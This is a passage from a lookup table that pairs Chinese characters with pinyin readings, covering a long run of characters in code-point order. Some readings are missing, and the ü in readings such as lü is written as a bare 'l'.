屙 e 屚 lou 屛 ping 屜 ti 屝 fei 属 zhu,shu 屟 xie 屠 tu 屡 l 屢 l 屣 xi 層 ceng 履 l 屦 ju 屧 xie 屨 ju 屩 jue 屪 liao 屫 jue 屬 shu 屭 xi 屮 che 屯 tun,zhun 屰 ni 山 shan 屲 wa 屳 xian 屴 li 屵 an 屶 hui 屷 hui 屸 hong 屹 yi 屺 qi 屻 ren 屼 wu 屽 han 屾 shen 屿 yu 岀 chu 岁 sui 岂 qi 岃 岄 yue 岅 ban 岆 yao 岇 ang 岈 ya 岉 wu 岊 jie 岋 e 岌 ji 岍 qian 岎 fen 岏 wan 岐 qi 岑 cen 岒 qian 岓 qi 岔 cha 岕 jie 岖 qu 岗 gang 岘 xian 岙 ao 岚 lan 岛 dao 岜 ba 岝 zuo 岞 zuo 岟 yang 岠 ju 岡 gang 岢 ke 岣 gou 岤 xue 岥 po 岦 li 岧 tiao 岨 ju 岩 yan 岫 xiu 岬 jia 岭 ling 岮 tuo 岯 pi 岰 ao 岱 dai 岲 kuang 岳 yue 岴 qu 岵 hu 岶 po 岷 min 岸 an 岹 tiao 岺 ling 岻 di 岼 岽 dong 岾 岿 kui 峀 xiu 峁 mao 峂 tong 峃 xue 峄 yi 峅 峆 he 峇 ke 峈 luo 峉 e 峊 fu 峋 xun 峌 die 峍 lu 峎 en 峏 er 峐 gai 峑 quan 峒 dong,tong 峓 yi 峔 mu 峕 shi 峖 an 峗 wei 峘 huan 峙 zhi,shi 峚 mi 峛 li 峜 fa 峝 tong 峞 wei 峟 you 峠 qia 峡 xia 峢 li 峣 yao 峤 jiao,qiao 峥 zheng 峦 luan 峧 jiao 峨 e 峩 e 峪 yu 峫 xie 峬 bu 峭 qiao 峮 qun 峯 feng 峰 feng 峱 nao 峲 li 峳 you 峴 xian 峵 rong 島 dao 峷 shen 峸 cheng 峹 tu 峺 geng 峻 jun 峼 gao 峽 xia 峾 yin 峿 wu 崀 lang 崁 kan 崂 lao 崃 lai 崄 xian 崅 que 崆 kong 崇 chong 崈 chong 崉 ta 崊 lin 崋 hua 崌 ju 崍 lai 崎 qi 崏 min 崐 kun 崑 kun 崒 zu 崓 gu 崔 cui 崕 ya 崖 ya 崗 gang 崘 lun 崙 lun 崚 ling 崛 jue 崜 duo 崝 zheng 崞 guo 崟 yin 崠 dong 崡 han 崢 zheng 崣 wei 崤 xiao 崥 pi 崦 yan 崧 song 崨 jie 崩 beng 崪 zu 崫 jue 崬 dong 崭 zhan 崮 gu 崯 yin 崰 zi 崱 ze 崲 huang 崳 yu 崴 wai,wei 崵 yang 崶 feng 崷 qiu 崸 yang 崹 ti 崺 yi 崻 zhi 崼 shi 崽 zai 崾 yao 崿 e 嵀 zhu 嵁 kan 嵂 l 嵃 yan 嵄 mei 嵅 han 嵆 ji 嵇 ji 嵈 huan 嵉 ting 嵊 sheng 嵋 mei 嵌 qian 嵍 wu 嵎 yu 嵏 zong 嵐 lan 嵑 ke 嵒 yan 嵓 yan 嵔 wei 嵕 zong 嵖 cha 嵗 sui 嵘 rong 嵙 嵚 qin 嵛 yu 嵜 嵝 lou 嵞 tu 嵟 cui 嵠 xi 嵡 weng 嵢 cang 嵣 dang 嵤 rong 嵥 jie 嵦 kai 嵧 liu 嵨 wu 嵩 song 嵪 kao 嵫 zi 嵬 wei 嵭 beng 嵮 dian 嵯 cuo 嵰 qin 嵱 yong 嵲 nie 嵳 cuo 嵴 ji 嵵 嵶 嵷 song 嵸 zong 嵹 jiang 嵺 liao 嵻 kang 嵼 yan 嵽 die 嵾 cen 嵿 ding 嶀 tu 嶁 lou 嶂 zhang 嶃 zhan 嶄 zhan 嶅 ao 嶆 cao 嶇 qu 嶈 qiang 嶉 wei 嶊 zui 嶋 dao 嶌 dao 嶍 xi 嶎 yu 嶏 pi 嶐 long 嶑 xiang 嶒 ceng 嶓 bo 嶔 qin 嶕 jiao 嶖 yan 嶗 lao 嶘 zhan 嶙 lin 嶚 liao 嶛 liao 嶜 qin 嶝 deng 嶞 tuo 嶟 zun 嶠 jiao 嶢 yao 嶣 jiao 嶤 yao 嶥 jue 嶦 zhan 嶧 yi 嶨 xue 嶩 nao 嶪 ye 嶫 ye 嶬 yi 嶭 nie 嶮 xian 嶯 ji 嶰 xie 嶱 ke 嶲 gui 嶳 di 嶴 ao 嶵 zui 嶶 嶷 ni,yi 嶸 rong 嶹 dao 嶺 ling 嶻 jie 嶼 yu 嶽 yue 嶾 yin 嶿 巀 jie 巁 li 巂 xi 巃 long 巄 long 巅 dian 巆 ying 巇 xi 巈 ju 巉 chan 巊 ying 巋 kui 巌 yan 巍 wei 巎 nao 巏 quan 巐 chao 巑 cuan 巒 luan 巓 dian 巔 dian 巕 nie 巖 yan 巗 yan 巘 yan 巙 kui 巚 yan 巛 chuan 巜 kuai 川 chuan 州 zhou 巟 huang 巠 jing 巡 xun 巢 chao 巣 chao 巤 lie 工 gong 左 zuo 巧 qiao 巨 ju 巩 gong 巪 巫 wu 巬 巭 差 chai,cha,ci 巯 qiu 巰 qiu 己 ji 已 yi 巳 si 巴 ba 巵 zhi 巶 zhao 巷 xiang,hang 巸 yi 巹 jin 巺 xun 巻 juan 巼 巽 xun 巾 jin 巿 fu 帀 za 币 bi 市 shi 布 bu 帄 ding 帅 shuai 帆 fan 帇 nie 师 shi 帉 fen 帊 pa 帋 zhi 希 xi 帍 hu 帎 dan 帏 wei 帐 zhang 帑 tang 帒 dai 帓 mo 帔 pei 帕 pa 帖 tie 帗 fu 帘 lian 帙 zhi 帚 zhou 帛 bo 帜 zhi 帝 di 帞 mo 帟 yi 帠 yi 帡 ping 帢 qia 帣 juan 帤 ru 帥 shuai 带 dai 帧 zhen 帨 shui 帩 qiao 帪 zhen 師 shi 帬 qun 席 xi 帮 bang 帯 dai 帰 gui 帱 chou,dao 帲 ping 帳 zhang 帴 jian 帵 wan 帶 dai 帷 wei 常 chang 帹 sha 帺 qi 帻 ze 帼 guo 帽 mao 帾 zhu 帿 hou 幀 zhen 幁 zheng 幂 mi 幃 wei 幄 wo 幅 fu 幆 yi 幇 bang 幈 ping 幉 幊 gong 幋 pan 幌 huang 幍 tao 幎 mi 幏 jia 幐 teng 幑 hui 幒 zhong 幓 shan 幔 man 幕 mu 幖 biao 幗 guo 幘 ze 幙 mu 幚 bang 幛 zhang 幜 jing 幝 chan 幞 fu 幟 zhi 幠 hu 幡 fan 幢 chuang,zhuang 幣 bi 幤 bi 幥 幦 mi 幧 qiao 幨 chan 幩 fen 幪 meng 幫 bang 幬 chou 幭 mie 幮 chu 幯 jie 幰 xian 幱 lan 干 gan 平 ping 年 nian 幵 jian 并 bing 幷 bing 幸 xing 幹 gan 幺 yao 幻 huan 幼 you 幽 you 幾 ji 广 an,guang 庀 pi 庁 ting 庂 ze 広 guang 庄 zhuang 庅 庆 qing 庇 bi 庈 qin 庉 dun 床 chuang 庋 gui 庌 ya 庍 bai 庎 jie 序 xu 庐 lu 庑 wu 庒 zhuang 库 ku 应 ying 底 di 庖 pao 店 dian 庘 ya 庙 miao 庚 geng 庛 ci 府 fu 庝 tong 庞 pang 废 fei 庠 xiang 庡 yi 庢 zhi 庣 tiao 庤 zhi 庥 xiu 度 du,duo 座 zuo 庨 xiao 庩 tu 庪 gui 庫 ku 庬 mang 庭 ting 庮 you 庯 bu 庰 bing 庱 cheng 庲 lai 庳 bi 庴 ji 庵 an 庶 zhu,shu 康 kang 庸 yong 庹 tuo 庺 song 庻 shu 庼 qing 庽 yu 庾 yu 庿 miao 廀 sou 廁 ce 廂 xiang 廃 fei 廄 jiu 廅 e 廇 liu 廈 sha 廉 lian 廊 lang 廋 sou 廌 zhi 廍 bu 廎 qing 廏 jiu 廐 jiu 廑 jin,qin 廒 ao 廓 kuo 廔 lou 廕 yin 廖 liao 廗 dai 廘 lu 廙 yi 廚 chu 廛 chan 廜 tu 廝 si 廞 xin 廟 miao 廠 chang 廡 wu 廢 fei 廣 guang 廤 廥 kuai 廦 bi 廧 qiang 廨 xie 廩 lin 廪 lin 廫 liao 廬 lu 廭 廮 ying 廯 xian 廰 ting 廱 yong 廲 li 廳 ting 廴 yin 廵 xun 延 yan 廷 ting 廸 di 廹 po 建 jian 廻 hui 廼 nai 廽 hui 廾 gong 廿 nian 开 kai 弁 bian 异 yi 弃 qi 弄 nong,long 弅 fen 弆 ju 弇 yan 弈 yi 弉 zang 弊 bi 弋 yi 弌 yi 弍 er 弎 san 式 shi 弐 er 弑 shi 弒 shi 弓 gong 弔 diao 引 yin 弖 hu 弗 fu 弘 hong 弙 wu 弚 tui 弛 chi 弜 jiang 弝 ba 弞 shen 弟 di 张 zhang 弡 jue 弢 tao 弣 fu 弤 di 弥 mi 弦 xian 弧 hu 弨 chao 弩 nu 弪 jing 弫 zhen 弬 弭 mi 弮 quan 弯 wan 弰 shao 弱 ruo 弲 xuan 弳 jing 弴 diao 張 zhang 弶 jiang 強 qiang 弸 peng 弹 dan,tan 强 qiang,jiang 弻 bi 弼 bi 弽 she 弾 dan 弿 jian 彀 gou 彁 彂 fa 彃 bi 彄 kou 彅 彆 bie 彇 xiao 彈 dan 彉 guo 彊 qiang 彋 hong 彌 mi 彍 guo 彎 wan 彏 jue 彐 xue 彑 ji 归 gui,kui 当 dang 彔 lu 录 lu 彖 tuan 彗 hui 彘 zhi 彙 hui 彚 hui 彛 yi 彜 yi 彝 yi 彞 yi 彟 huo 彠 huo 彡 shan 形 xing 彣 wen 彤 tong 彥 yan 彦 yan 彧 yu 彨 chi 彩 cai 彪 biao 彫 diao 彬 bin 彭 peng 彮 yong 彯 piao 彰 zhang 影 ying 彲 chi 彳 chi 彴 zhuo 彵 tuo 彶 ji 彷 fang,pang 彸 zhong 役 yi 彺 wang 彻 che 彼 bi 彽 di 彾 ling 彿 fu 往 wang 征 zheng 徂 cu 徃 wang 径 jing 待 dai 徆 xi 徇 xun 很 hen 徉 yang 徊 huai 律 l 後 hou 徍 wang 徎 cheng 徏 zhi 徐 xu 徑 jing 徒 tu 従 cong 徔 cong 徕 lai 徖 cong 得 de,dei 徘 pai 徙 xi 徚 徛 ji 徜 chang 徝 zhi 從 cong 徟 zhou 徠 lai 御 yu 徢 xie 徣 jie 徤 jian 徥 shi 徦 jia 徧 bian 徨 huang 復 fu 循 xun 徫 wei 徬 pang 徭 yao 微 wei 徯 xi 徰 zheng 徱 piao 徲 ti 徳 de 徴 zhi 徵 zhi 徶 bie 德 de 徸 zhong 徹 che 徺 jiao 徻 hui 徼 yao,jiao 徽 hui 徾 mei 徿 long 忀 xiang 忁 bao 忂 qu 心 xin 忄 xin 必 bi 忆 yi 忇 le 忈 ren 忉 dao 忊 ding 忋 gai 忌 ji 忍 ren 忎 ren 忏 chan 忐 tan 忑 te 忒 te,tui 忓 gan 忔 yi 忕 shi 忖 cun 志 zhi 忘 wang 忙 mang 忚 xi 忛 fan 応 ying 忝 tian 忞 min 忟 min 忠 zhong 忡 chong 忢 wu 忣 ji 忤 wu 忥 xi 忦 jia 忧 you 忨 wan 忩 cong 忪 zhong,song 快 kuai 忬 yu 忭 bian 忮 zhi 忯 qi 忰 cui 忱 chen 忲 tai 忳 tun 忴 qian 念 nian 忶 hun 忷 xiong 忸 niu 忹 kuang 忺 xian 忻 xin 忼 kang 忽 hu 忾 kai 忿 fen 怀 huai 态 tai 怂 song 怃 wu 怄 ou 怄 ou 怅 chang 怆 chuang 怇 ju 怉 bao 怊 chao 怋 min 怌 pei 怍 zuo 怎 zen 怏 yang 怐 kou 怑 ban 怒 nu 怓 nao 怔 zheng 怕 pa 怖 bu 怗 tie 怘 hu 怙 hu 怚 cu 怛 da 怜 lian 思 sai,si 怞 you 怟 di 怠 dai 怡 yi 怢 tu 怣 you 怤 fu 急 ji 怦 peng 性 xing 怨 yuan 怩 ni 怪 guai 怫 fei,fu 怬 xi 怭 bi 怮 you 怯 qie 怰 xuan 怱 cong 怲 bing 怳 huang 怴 xu 怵 chu 怶 bi 怷 shu 怸 xi 怹 tan 怺 总 zong 怼 dui 怽 mi 怾 怿 yi 恀 shi 恁 nen 恂 xun 恃 shi 恄 xi 恅 lao 恆 heng 恇 kuang 恈 mou 恉 zhi 恊 xie 恋 lian 恌 tiao 恍 huang 恎 die 恏 hao 恐 kong 恑 gui 恒 heng 恓 xi 恔 xiao 恕 shu 恖 si 恗 hu 恘 qiu 恙 yang 恚 hui 恛 hui 恜 chi 恝 jia 恞 yi 恟 xiong 恠 guai 恡 lin 恢 hui 恣 zi 恤 xu 恥 chi 恦 shang 恧 n 恨 hen 恩 en 恪 ke 恫 dong,tong 恬 tian 恭 gong 恮 quan 息 xi 恰 qia 恱 yue 恲 peng 恳 ken 恴 de 恵 hui 恶 e,wu 恷 qiu 恸 tong 恹 yan 恺 kai 恻 ce 恼 nao 恽 yun 恾 mang 恿 yong 悀 yong 悁 juan 悂 pi 悃 kun 悄 qiao 悅 yue 悆 yu 悇 tu 悈 jie 悉 xi 悊 zhe 悋 lin 悌 ti 悍 han 悎 hao 悏 qie 悐 ti 悑 bu 悒 yi 悓 qian 悔 hui 悕 xi 悖 bei 悗 man 悘 yi 悙 heng 悚 song 悛 quan 悜 cheng 悝 kui 悞 wu 悟 wu 悠 you 悡 li 悢 liang 患 huan 悤 cong 悥 yi 悦 yue 悧 li 您 nin 悩 nao 悪 e 悫 que 悬 xuan 悭 qian 悮 wu 悯 min 悰 cong 悱 fei 悲 bei 悳 de 悴 cui 悵 chang 悶 men 悷 li 悸 ji 悹 guan 悺 guan 悻 xing 悼 dao 悽 qi 悾 kong 悿 tian 惀 lun 惁 xi 惂 kan 惃 gun 惄 ni 情 qing 惆 chou 惇 dun 惈 guo 惉 zhan 惊 jing 惋 wan 惌 yuan 惍 jin 惎 ji 惏 lan 惐 yu 惑 huo 惒 he 惓 quan 惔 tan 惕 ti 惖 ti 惗 nian 惘 wang 惙 chuo 惚 hu 惛 hun 惜 xi 惝 tang,chang 惞 xin 惟 wei 惠 hui 惡 e 惢 suo 惣 zong 惤 jian 惥 yong 惦 dian 惧 ju 惨 can 惩 cheng 惪 de 惫 bei 惬 qie 惭 can 惮 da,dan 惯 guan 惰 duo 惱 nao 惲 yun 想 xiang 惴 zhui 惵 die 惶 huang 惷 chun 惸 qiong 惹 re 惺 xing 惻 ce 惼 bian 惽 min 惾 zong 惿 ti 愀 qiao 愁 chou 愂 bei 愃 xuan 愄 wei 愅 ge 愆 qian 愇 wei 愈 yu 愉 yu 愊 bi 愋 xuan 愌 huan 愍 min 愎 bi 意 yi 愐 mian 愑 yong 愒 qi 愓 dang 愔 yin 愕 e 愖 chen 愗 mao 愘 ke 愙 ke 愚 yu 愛 ai 愜 qie 愝 yan 愞 nuo 感 gan,han 愠 yun 愡 cong 愢 sai 愣 leng 愤 fen 愥 愦 kui 愧 kui 愨 que 愩 gong 愪 yun 愫 su 愬 su 愭 qi 愮 yao 愯 song 愰 huang 愱 ji 愲 gu 愳 ju 愴 chuang 愵 ni 愶 xie 愷 kai 愸 zheng 愹 yong 愺 cao 愻 xun 愼 shen 愽 bo 愾 kai 愿 yuan 慀 xi 慁 hun 慂 yong 慃 yang 慄 li 慅 sao 慆 tao 慈 ci 慉 xu 慊 qian,qie 態 tai 慌 huang 慍 yun 慎 shen 慏 ming 慐 gong 慑 she 慒 cao 慓 piao 慔 mu 慕 mu 慖 guo 慗 chi 慘 can 慙 can 慚 can 慛 cui 慜 min 慝 te 慞 zhang 慟 tong 慠 ao 慡 shuang 慢 man 慣 guan 慤 que 慥 zao 慦 jiu 慧 hui 慨 kai 慩 lian 慪 ou 慫 song 慬 qin 慭 yin 慮 l 慯 shang 慰 wei 慱 tuan 慲 man 慳 qian 慴 she 慵 yong 慶 qing 慷 kang 慸 di 慹 zhi 慺 lou 慻 juan 慼 qi 慽 qi 慾 yu 慿 ping 憀 liao 憁 cong 憂 you 憃 chong 憄 zhi 憅 tong 憆 cheng 憇 qi 憈 qu 憉 peng 憊 bei 憋 bie 憌 qiong 憍 jiao 憎 zeng 憏 chi 憐 lian 憑 ping 憒 kui 憓 hui 憔 qiao 憕 cheng 憖 yin 憗 yin 憘 xi 憙 xi 憚 dan 憛 tan 憜 duo 憝 dui 憞 dui 憟 su 憠 jue 憡 ce 憢 xiao 憣 fan 憤 fen 憥 lao 憦 lao 憧 chong 憨 han 憩 qi 憪 xian 憫 min 憬 jing 憭 liao 憮 wu 憯 can 憰 jue 憱 cu 憲 xian 憳 tan 憴 sheng 憵 pi 憶 yi 憷 chu 憸 xian 憹 nao 憺 dan 憻 tan 憼 jing 憽 song 憾 han 憿 jiao 懀 wei 懁 xuan 懂 dong 懃 qin 懄 qin 懅 ju 懆 cao 懇 ken 懈 xie 應 ying 懊 ao 懋 mao 懌 yi 懍 lin 懎 se 懏 jun 懐 huai 懑 men 懒 lan 懓 ai 懔 lin 懕 yan 懖 guo 懗 xia 懘 chi 懙 yu 懚 yin 懛 dai 懜 meng 懝 ai 懞 meng 懟 dui 懠 qi 懡 mo 懢 lan 懣 men 懤 chou 懥 zhi 懦 nuo 懧 nuo 懨 yan 懩 yang 懪 bo 懫 zhi 懬 kuang 懭 kuang 懮 you 懯 fu 懰 liu 懱 mie 懲 cheng 懳 hui 懴 chan 懵 meng 懶 lan 懷 huai 懸 xuan 懹 rang 懺 chan 懻 ji 懼 ju 懽 huan 懾 she 懿 yi 戀 lian 戁 nan 戂 mi 戃 tang 戄 jue 戅 gang 戆 zhuang,gang 戇 gang 戈 ge 戉 yue 戊 wu 戋 jian 戌 xu 戍 shu 戎 rong 戏 xi,hui,hu 成 cheng 我 wo 戒 jie 戓 ge 戔 jian 戕 qiang 或 huo 戗 qiang 战 zhan 戙 dong 戚 qi 戛 jia 戜 die 戝 zei 戞 jia 戟 ji 戠 zhi 戡 kan 戢 ji 戣 kui 戤 gai 戥 deng 戦 zhan 戧 qiang 戨 ge 戩 jian 截 jie 戫 yu 戬 jian 戭 yan 戮 lu 戯 xi 戰 zhan 戱 xi 戲 xi 戳 chuo 戴 dai 戵 qu 戶 hu 户 hu 戸 hu 戹 e 戺 shi 戻 ti 戼 mao 戽 hu 戾 li 房 fang 所 suo 扁 bian,pian 扂 dian 扃 jiong 扄 shang 扅 yi 扆 yi 扇 shan 扈 hu 扉 fei 扊 yan 手 shou 扌 shou 才 cai 扎 za,zha 扐 le 扑 pu 扒 pa 打 da 扔 reng 払 fan 扖 扗 zai 托 tuo 扙 zhang 扚 diao 扛 gang,kang 扜 yu 扝 yu 扞 han 扟 shen 扠 cha 扡 tuo 扢 ge 扣 kou 扤 wu 扥 den 扦 qian 执 zhi 扨 扩 kuo 扪 men 扫 sao 扬 yang 扭 niu 扮 ban 扯 che 扰 rao 扱 cha 扲 qian 扳 pan,ban 扴 jia 扵 yu 扶 fu 扷 ba 扸 xi 批 pi 扺 zhi 扻 zhi 扼 e 扽 den 找 zhao 承 cheng 技 ji 抁 yan 抂 kuang 抃 bian 抄 chao 抅 ju 抆 wen 抇 hu 抈 yue 抉 jue 把 ba 抋 qin 抌 dan 抍 zheng 抎 yun 抏 wan 抐 ne 抑 yi 抒 shu 抓 zhua 抔 pou 投 tou 抖 dou 抗 kang 折 she,zhe 抙 pou 抚 fu 抛 pao 抜 抝 ao 択 抟 tuan 抠 kou 抡 lun 抢 qiang 抣 护 hu 报 bao 抦 bing 抧 zhi 抨 peng 抩 nan 抪 pu 披 pi 抬 tai 抭 yao 抮 zhen 抯 zha 抰 yang 抱 bao 抲 he 抳 ni 抴 ye 抵 di 抶 chi 抷 pi 抸 jia 抹 mo,ma 抺 mei 抻 chen 押 ya 抽 chou 抾 qu 抿 min 拀 zhu 拁 jia 拂 fu 拃 zha 拄 zhu 担 dan 拆 chai,ca 拇 mu 拈 nian 拉 la 拊 fu 拋 pao 拌 ban,pan 拍 pai 拎 lin 拏 na 拐 guai 拑 qian 拒 ju 拓 ta,tuo 拔 ba 拕 tuo 拖 tuo 拗 niu,ao 拘 ju 拙 zhuo 拚 pan,pin 招 zhao 拜 bai 拝 bai 拞 di 拟 ni 拠 ju 拡 kuo 拢 long 拣 jian 拤 qia 拥 yong 拦 lan 拧 ning 拨 bo 择 ze,zhai 拪 qian 拫 hen 括 kuo 拭 shi 拮 jie 拯 zheng 拰 nin 拱 gong 拲 gong 拳 quan 拴 shuan 拵 cun 拶 za,zan 拷 kao 拸 yi 拹 xie 拺 ce 拻 hui 拼 pin 拽 zhuai,ye 拾 she,shi 拿 na 挀 bai 持 chi 挂 gua 挃 zhi 挄 kuo 挅 duo 挆 duo 指 zhi 挈 qie 按 an 挊 nong 挋 zhen 挌 ge 挍 jiao 挎 kua 挏 dong 挐 ru 挑 tiao 挒 lie 挓 zha 挔 l 挕 die 挖 wa 挗 jue 挘 挙 ju 挚 zhi 挛 luan 挜 ya 挝 wo,zhua 挞 ta 挟 xie 挠 nao 挡 dang 挢 jiao 挣 zheng 挤 ji 挥 hui 挦 xian 挧 yu 挨 ai 挩 tuo 挪 nuo 挫 cuo 挬 bo 挭 geng 挮 ti 振 zhen 挰 cheng 挱 suo 挲 suo,sha 挳 keng 挴 mei 挵 nong 挶 ju 挷 bang 挸 jian 挹 yi 挺 ting 挻 shan 挼 ruo 挽 wan 挾 xie 挿 cha 捀 peng 捁 jiao 捂 wu 捃 jun 捄 ju 捅 tong 捆 kun 捇 huo 捈 tu 捉 zhuo 捊 pou 捋 l,luo 捌 ba 捍 han 捎 shao 捏 nie 捐 juan 捑 ze 捒 shu 捓 ye 捔 jue 捕 bu 捖 wan 捗 bu 捘 zun 捙 ye 捚 zhai 捛 l 捜 sou 捝 tuo 捞 lao 损 sun 捠 bang 捡 jian 换 huan 捣 dao 捤 捥 wan 捦 qin 捧 peng 捨 she 捩 lie 捪 min 捫 men 捬 fu 捭 bai 据 ju 捯 dao 捰 wo 捱 ai 捲 juan 捳 yue 捴 zong 捵 chen 捶 chui 捷 jie 捸 tu 捹 ben 捺 na 捻 nian,nie 捼 ruo 捽 zuo 捾 wo 捿 qi 掀 xian 掁 cheng 掂 dian 掃 sao 掄 lun 掅 qing 掆 gang 掇 duo 授 shou 掉 diao 掊 pou 掋 di 掌 zhang 掍 hun 掎 ji 掏 tao 掐 qia 掑 qi 排 pai 掓 shu 掔 qian 掕 ling 掖 ye 掗 ya 掘 jue 掙 zheng 掚 liang 掛 gua 掜 ni 掝 huo 掞 shan 掟 zheng 掠 l 採 cai 探 tan 掣 che 掤 bing 接 jie 掦 ti 控 kong 推 tui 掩 yan 措 cuo 掫 zou 掬 ju 掭 tian 掮 qian 掯 ken 掰 bai 掱 pa 掲 jie 掳 lu 掴 guo 掵 掶 jie 掷 zhi 掸 dan,shan 掹 meng 掺 shan,chan,can 掻 sao 掼 guan 掽 peng 掾 yuan 掿 nuo 揀 jian 揂 jiu 揃 jian 揄 yu 揅 yan 揆 kui 揇 nan 揈 hong 揉 rou 揊 pi 揋 wei 揌 sai 揍 zou 揎 xuan 描 miao 提 di,ti 揑 nie 插 cha 揓 shi 揔 zong 揕 zhen 揖 yi 揗 xun 揘 huang 揙 bian 揚 yang 換 huan 揜 yan 揝 zan 揞 an 揟 xu 揠 ya 握 wo 揢 ke 揣 chuai 揤 ji 揥 ti,di 揦 la 揧 la 揨 cheng 揩 kai 揪 jiu 揫 jiu 揬 tu 揭 jie 揮 hui 揯 gen 揰 chong 揱 xiao 揲 she,die 揳 xie 援 yuan 揵 qian 揶 ye 揷 cha 揸 zha 揹 bei 揺 yao 揻 wei 揼 beng 揽 lan 揾 wen 揿 qin 搀 chan 搁 ge 搂 lou 搃 zong 搄 gen 搅 jiao 搆 gou 搇 qin 搈 rong 搉 que 搊 chou 搋 chuai 搌 zhan 損 sun 搎 sun 搏 bo 搐 chu 搑 rong 搒 bang,peng 搓 cuo 搔 sao 搕 ke 搖 yao 搗 dao 搘 zhi 搙 nu 搚 la 搛 jian 搜 sou 搝 qiu 搞 gao 搟 xian 搠 shuo 搡 sang 搢 jin 搣 mie 搤 e 搥 chui 搦 nuo 搧 shan 搨 ta 搩 jie 搪 tang 搫 pan 搬 ban 搭 da 搮 li 搯 tao 搰 hu 搱 zhi 搲 wa 搳 hua 搴 qian 搵 wen 搶 qiang 搷 tian 搸 zhen 搹 e 携 xie 搻 na 搼 quan 搽 cha 搾 zha 搿 ge 摀 wu 摁 en 摂 she 摃 gang 摄 she 摅 shu 摆 bai 摇 yao 摈 bin 摉 sou 摊 tan 摋 sa,sha 摌 chan 摍 suo 摎 jiu 摏 chong 摐 chuang 摑 guai 摒 bing 摓 feng 摔 shuai 摕 di 摖 qi 摗 sou 摘 zhai 摙 lian 摚 cheng 摛 chi 摜 guan 摝 lu 摞 luo 摟 lou 摠 zong 摡 gai 摢 hu 摣 zha 摤 qiang 摥 tang 摦 hua 摧 cui 摨 zhi 摩 ma,mo 摪 jiang 摫 gui 摬 ying 摭 zhi 摮 ao 摯 zhi 摰 nie 摱 man 摲 chan 摳 kou 摴 chu 摵 se 摶 tuan 摷 jiao 摸 mo 摹 mo 摺 zhe 摻 chan 摼 keng 摽 biao 摾 jiang 摿 yao 撀 gou 撁 qian 撂 liao 撃 撄 ying 撅 jue 撆 pie 撇 pie 撈 lao 撉 dun 撊 xian 撋 ruan 撌 gui 撍 zan 撎 yi 撏 xian 撐 cheng 撑 cheng 撒 sa 撓 nao 撔 hong 撕 si 撖 han 撗 heng 撘 da 撙 zun 撚 nian 撛 lin 撜 zheng 撝 hui 撞 zhuang 撟 jiao 撠 ji 撡 cao 撢 dan 撣 dan 撤 che 撥 bo 撦 che 撧 jue 撨 xiao 撩 liao 撪 ben 撫 fu 撬 qiao 播 bo 撮 cuo,zuo 撯 zhuo 撰 zhuan 撱 wei 撲 pu 撳 qin 撴 dun 撵 nian 撶 hua 撷 xie 撸 lu 撹 jiao 撺 cuan 撻 ta 撼 han 撽 qiao 撾 zhua 撿 jian 擀 gan 擁 yong 擂 lei 擃 nang 擄 lu 擅 shan 擆 zhuo 擇 ze 擈 pu 擉 chuo 擊 ji 擋 dang 擌 se 操 cao 擎 qing 擏 qing 擐 huan 擑 jie 擒 qin 擓 kuai 擔 dan 擕 xie 擖 qia 擗 pi 擘 bo 擙 ao 據 ju 擜 e 擝 meng 擞 sou 擟 mi 擠 ji 擡 tai 擢 zhuo 擣 dao 擤 xing 擥 lan 擦 ca 擧 ju 擨 ye 擩 ru 擪 ye 擫 ye 擬 ni 擭 huo 擮 jie 擯 bin 擰 ning 擱 ge 擲 zhi 擳 zhi 擴 kuo 擵 mo 擶 jian 擷 xie 擸 lie 擹 tan 擺 bai 擻 sou 擼 lu 擽 li 擾 rao 擿 ti,zhi 攀 pan 攁 yang 攂 lei 攃 ca 攄 shu 攅 zan 攆 nian 攇 xian 攈 jun 攉 huo 攊 li 攋 la 攌 huan 攍 ying 攎 lu 攏 long 攐 qian 攑 qian 攒 cuan,zan 攓 qian 攔 lan 攕 xian 攖 ying 攗 mei 攘 rang 攙 chan 攚 weng 攛 cuan 攜 xie 攝 she 攞 luo 攟 jun 攠 mi 攡 chi 攢 zan 攣 luan 攤 tan 攥 zuan 攦 li 攧 dian 攨 wa 攩 dang 攪 jiao 攫 jue 攬 lan 攭 li 攮 nang 支 zhi 攰 gui 攱 gui 攲 qi 攳 xun 攴 pu 攵 pu 收 shou 攷 kao 攸 you 改 gai 攺 yi 攻 gong 攼 gan 攽 ban 放 fang 政 zheng 敀 po 敁 dian 敂 kou 敃 min 敄 wu 故 gu 敆 he 敇 ce 效 xiao 敉 mi 敊 chu 敋 ge 敌 di 敍 xu 敎 jiao 敏 min 敐 chen 救 jiu 敒 shen 敓 duo 敔 yu 敕 chi 敖 ao 敗 bai 敘 xu 教 jiao 敚 duo 敛 lian 敜 nie 敝 bi 敞 chang 敟 dian 敠 duo 敡 yi 敢 gan 散 san 敤 ke 敥 yan 敦 dui,dun 敧 qi 敨 tou 敩 xiao 敪 duo 敫 jiao 敬 jing 敭 yang 敮 xia 敯 min 数 shu 敱 ai 敲 qiao 敳 ai 整 zheng 敵 di 敶 chen 敷 fu 數 shu 敹 liao 敺 qu 敻 xiong 敼 yi 敽 jiao 敾 shan 敿 jiao 斀 zhuo 斁 du,yi 斂 lian 斃 bi 斄 li 斅 xiao 斆 xiao 文 wen 斈 xue 斉 qi 斊 qi 斋 zhai 斌 bin 斍 jue 斎 zhai 斏 lang 斐 fei 斑 ban 斒 ban 斓 lan 斔 yu 斕 lan 斖 wei 斗 dou 斘 sheng 料 liao 斚 jia 斛 hu 斜 xie 斝 jia 斞 yu 斟 zhen 斠 jiao 斡 wo 斢 tiao 斣 dou 斤 jin 斥 chi 斦 yin 斧 fu 斨 qiang 斩 zhan 斪 qu 斫 zhuo 斬 zhan 断 duan 斮 zhuo 斯 si 新 xin 斱 zhuo 斲 zhuo 斳 qin 斴 lin 斵 zhuo 斶 chu 斷 duan 斸 zhu 方 fang 斺 chan 斻 hang 於 yu,wu 施 shi 斾 pei 斿 liu 旀 旁 bang,pang 旂 qi 旃 zhan 旄 mao 旅 l 旆 pei 旇 pi 旈 liu 旉 fu 旊 fang 旋 xuan 旌 jing 旍 jing 旎 ni 族 zu 旐 zhao 旑 yi 旒 liu 旓 shao 旔 jian 旕 旖 yi 旗 qi 旘 zhi 旙 fan 旚 piao 旛 fan 旜 zhan 旝 kuai 旞 sui 旟 yu 无 mo,wu 旡 ji 既 ji 旣 ji 旤 huo 日 ri 旦 dan 旧 jiu 旨 zhi 早 zao 旪 xie 旫 tiao 旬 xun 旭 xu 旮 ga 旯 la 旰 gan 旱 han 旳 di 旴 xu 旵 chan 时 shi 旷 kuang 旸 yang 旹 shi 旺 wang 旻 min 旼 min 旽 tun 旾 chun 旿 wu 昀 yun 昁 bei 昂 ang 昃 